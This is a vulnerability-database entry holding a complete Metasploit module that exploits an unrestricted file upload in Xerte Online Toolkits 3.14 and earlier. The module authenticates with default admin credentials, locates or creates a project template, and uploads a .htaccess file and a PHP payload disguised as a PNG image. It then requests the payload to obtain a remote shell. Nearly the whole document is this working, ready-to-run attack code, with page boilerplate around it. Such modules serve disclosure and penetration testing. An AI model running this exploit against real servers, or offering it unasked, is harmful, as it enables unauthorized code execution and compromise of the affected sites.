Lucene search
K

📄 Xerte Online Toolkits 3.14 Upload Image Shell Upload

🗓️ 13 Feb 2026 00:00:00Reported by Brandon LesterType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 115 Views

Exploits Xerte Online Toolkits 3.14 and earlier via unrestricted image upload to execute a shell.

Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Upload Image',
            'Description' => %q{
              This module exploits the user template file import function's unrestricted
              file upload in versions 3.14 and earlier to upload and execute a shell.
              This targets editor/uploadImage.php.
              This has only been tested in implementations where the authentication type is "Db".
    
              OPSEC
              - if the user is logged in elsewhere, they may experience interruptions
              - several requests sent to the server and activity is logged
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Brandon Lester'
            ],
            'References' => [
              ['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
              ['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
            ],
            'Privileged' => false,
            'Targets' => [
              [
                'PHP', {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ]
            ],
            'DisclosureDate' => '2025-08-04',
            'DefaultTarget' => 0,
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits']),
            OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
            OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ])
          ]
        )
      end
    
      def login
        print_status('Attempting to authenticate...')
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, '/'),
          'method' => 'POST',
          'vars_post' => {
            'login' => datastore['USERNAME'],
            'password' => datastore['PASSWORD']
          },
          'keep_cookies' => true
        )
    
        unless (res&.code == 200 || (res&.code == 302 && res.headers['Location'] == 'management.php')) && res.get_cookies.include?('PHPSESSID')
          fail_with(Failure::NoAccess, 'Failed to authenticate with the target.')
        end
        print_good('Authentication successful.')
      end
    
      def check
        print_status('Performing check')
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
        })
        if res&.code == 200
          if res.body.include?('No valid language definition found in the file!')
            return Exploit::CheckCode::Vulnerable
          else
            return Exploit::CheckCode::Safe
          end
        end
        return Exploit::CheckCode::Safe
      end
    
      def trigger_payload
        print_good("Triggering shell at #{@web_path}")
        # using for loop with the range
        shell_uri = @web_path.gsub(/.*#{target_uri.path}/, '') # gsub(/\.*${target_uri.path()}\/, "")
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, shell_uri, 'media', php_filename)
        })
      end
    
      def upload_payload(my_payload, filename)
        # construct the payload and upload
        mime = Rex::MIME::Message.new
        mime.add_part(my_payload, 'image/png', nil,
                      %(form-data; name="upload"; filename=#{filename}))
    
        # web path will contain the full address, like `http://127.0.0.1:8180/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/` so trim it
        mime.add_part(@media_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadPath"')
        mime.add_part(@web_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadURL"')
    
        # mediapath should be something like `/var/www/html/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/`
        register_file_for_cleanup("#{@media_path}#{php_filename}")
        register_file_for_cleanup("#{@media_path}.htaccess")
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, '/editor/uploadImage.php'),
          'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{mime.bound}" },
          'data' => mime.to_s
        )
        if res && res.code.to_i == 200 && res.body.include?('Something went wrong while trying to uplod file!')
          fail_with(Failure::UnexpectedReply, 'payload was not uploaded.')
        end
      end
    
      def delete_lockfile(template_id)
        # The previous step made a get request to the template, effectively locking it.
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'edithtml.php'),
          'vars_get' => {
            'template_id' => template_id.to_s
          },
          'vars_post' => {
            'lockfile_clear' => 'delete_lockfile'
          }
    
        })
        html = res.get_html_document
        vprint_status("Deleted lockfile for #{template_id}")
        variable_block = html.at('[text()*="mediavariable="]').text
        parse_template(variable_block)
      end
    
      def parse_template(template)
        # extract important variables from the template
        vprint_status('Parsing template')
        template.each_line do |line|
          if line && line.include?('mediavariable=')
            @media_path = line.split('"')[1]
          elsif line && line.include?('rlourlvariable')
            @web_path = line.split('"')[1]
          elsif line && line.include?('template_id')
            @template_id = line.split('"')[1]
          elsif line && line.include?('path = "')
            line = line.strip
            @template_path = line.split('"')[1]
          end
        end
        vprint_status("Found media: #{@media_path}") unless @media_path.blank?
        vprint_status("Found web path: #{@web_path}") unless @web_path.blank?
        vprint_status("Found template: #{@template_id}") unless @template_id.blank?
      end
    
      def find_valid_template
        # Iterates template ID's 1-20 to see if any exist and if the user has access.
        found_template = false
        for template_id in 1..20 do
          vprint_line("Checking template ID #{template_id}")
          res = send_request_cgi({ # this causes the template to become locked
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, '/edithtml.php'),
            'vars_get' => {
              'template_id' => template_id.to_s
            }
          })
          if res&.code == 200
            if res.body.to_s.include?('This project is currently locked as it is already being edited by you!')
              delete_lockfile(template_id)
              found_template = true
              print_status("Found mediavariable at #{template_id}")
              break
            elsif res.body.to_s.include?('Invalid template_id (could not find in DB)')
              vprint_line("Template #{template_id} doesn't exist")
            elsif res.body.to_s.include?('Permission denied')
              vprint_line("Template #{template_id} belongs to someone else")
            else
              vprint_line("Template ID #{template_id} is not locked")
              delete_lockfile(template_id)
              found_template = true
              print_status("Found mediavariable at #{template_id}")
              break
            end
          else
            print_bad("Error with template #{template_id}")
          end
        end
    
        unless found_template
          # If no projects are found, create one
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'templates', 'new_template.php'),
            'vars_post' => {
              'tutorialid' => 'Nottingham',
              'templatename' => 'Nottingham',
              'tutorialname' => Rex::Text.rand_text_alpha(8),
              'folder_id' => ''
            }
          })
    
          if res&.code == 200 && !res.body.to_s.include?('FAILED-Failed to create new template record')
            # Ensure the project was created
            template_id = res.body.to_s.split(',')[0]
            print_status("Created template (id: #{template_id})")
            delete_lockfile(template_id)
            found_template = true
          end
        end
        # If for some reason, the previous project creation failed, it's probably best to create one manually.
        fail_with(Failure::NotFound, 'User has no project templates, try logging in and creating one. Also, check whether more than 20 projects are already created.') unless found_template
      end
    
      def exploit
        login
        find_valid_template
        # this exploit won't work unless a .htaccess file is also uploaded
        upload_payload(htaccess_payload, '.htaccess')
        upload_payload(payload.encoded, php_filename)
        print_status('Uploaded the PHP Payload file')
        trigger_payload
      end
    
      def php_filename
        @php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
      end
    
      def htaccess_payload
        <<~PAYLOAD
          <IfModule mod_rewrite.c>
              RewriteEngine Off
          </IfModule>
        PAYLOAD
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation